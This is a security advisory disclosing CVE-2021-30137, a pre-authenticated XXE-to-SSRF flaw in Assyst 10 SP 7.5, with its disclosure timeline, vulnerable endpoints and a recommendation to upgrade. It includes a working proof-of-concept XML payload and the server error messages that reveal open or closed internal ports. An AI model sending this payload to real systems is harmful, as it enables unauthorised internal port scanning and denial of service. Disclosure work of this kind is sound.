Security advisory

Pre-authenticated XXE leading to SSRF via XML Unmarshalling (Assyst 10 SP 7.5)

September, 2021

CVE-2021-30137
Release date: 14/09/2021
Department: POST Cyberforce
Khalid ESSALMI

Vulnerability summary

Product	Assyst
Product homepage	https://www.axiossystems.com/
Affected product versions	10 SP 7.5
Severity	Medium: CVSS v3.1 score 6.5
CVSS v3.1	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
MITRE ATT&CK	T1083, T1595
OWASP	OWASP 2017-A4
CWE	CWE-611
Workarounds	No workarounds available
Fixed product versions	11 and later

Validated impact:

- Denial of service;
- Ports scan;
- Files' paths enumeration.

Timeline

Date	Action
April 1st, 2021	Vulnerability identified during a pentest mission.
April 2nd, 2021	First contact with the editor (AxiosSystems).
April 2nd, 2021	Submit a CVE request to https://cveform.mitre.org/
April 2nd, 2021	Ticket created for CVE ID Request "1053599".
April 5th, 2021	CVE-2021-30137 attributed by Mitre.
April 9th, 2021	Call axios services support.
April 27th, 2021	1st reply from Axios - ticket number 342014 - and they ask for more technical details.
April 27th, 2021	Technical details sent.
September 8th, 2021	Axios Services has successfully reproduced the attack in Assyst 10 SP 7.5. They inform us that the assyst 11 is secure against this attack. COS team didn't have the opportunity to test assyst 11.

References:

- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30137
- https://attack.mitre.org/techniques/T1083/
- https://attack.mitre.org/techniques/T1595/
- https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)
- https://cwe.mitre.org/data/definitions/611.html

Product description

Assyst is an IT services management solution that offers service management, service catalog, self-service, asset management and collaboration/communicatation via chat, email, mobile and web options. Assyst allows users to manage request services and ticketing process.

Advisory

During the penetration test POST Cyberforce identified a pre-authenticated XXE attack permits to execute forged requests originated from a server side, which represents the SSRF vulnerability. This means that it is possible to send unauthenticated requests to the local server or to internal servers.

Vulnerability description

The application allows users to send JSON or XML data to the server. The application allows users to send JSON or XML data to the server. It was possible to inject malicious XML data through several access points. The Assyst application was isolated behind a firewall. However, we were able to perform a port scan and path enumeration of the internal network using this vulnerability. The risk may be higher without the firewall protection.

Vulnerable endpoints

The vulnerability has been found in several endpoints:

- POST /assystnet/v2/unauthenticated/ HTTP/1.1
- POST /assystnet/v2/unauthenticated/deregisterWindow HTTP/1.1
- POST /assystREST/v2/serviceDepartments HTTP/1.1
- POST /assystREST/v2/actions HTTP/1.1
- ...

Proof of concept

```
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE event [<!ENTITY % xxe SYSTEM "http://192.168.1.37:3389"> %xxe;]>
   <actionType>
      <resolvingParameters>
         <element>
            <parameterName>shortCode</parameterName>
            <parameterValue>&xxe;</parameterValue>
         </element>
      </resolvingParameters>
   </actionType>
   <eventId>11232</eventId>
   <remarks>11</remarks>
   <serviceTime>1</serviceTime>
</root>
```

By sending an HTTP request with the above XML data, the server responds with one of the following errors:

- 'javax.net.ssl.SSLHandshakeException: java.security.cert.CertificateException: No subject alternative names present' : if RDP service is open on the host 192.168.1.37.
- 'java.net.ConnectException: Connection refused: connect' : if the host is up but the RDP is closed.
- 'java.net.ConnectException: Connection timed out: connect : if the host is down.

Recommendation

- Upgrade to Assyst 11 or later.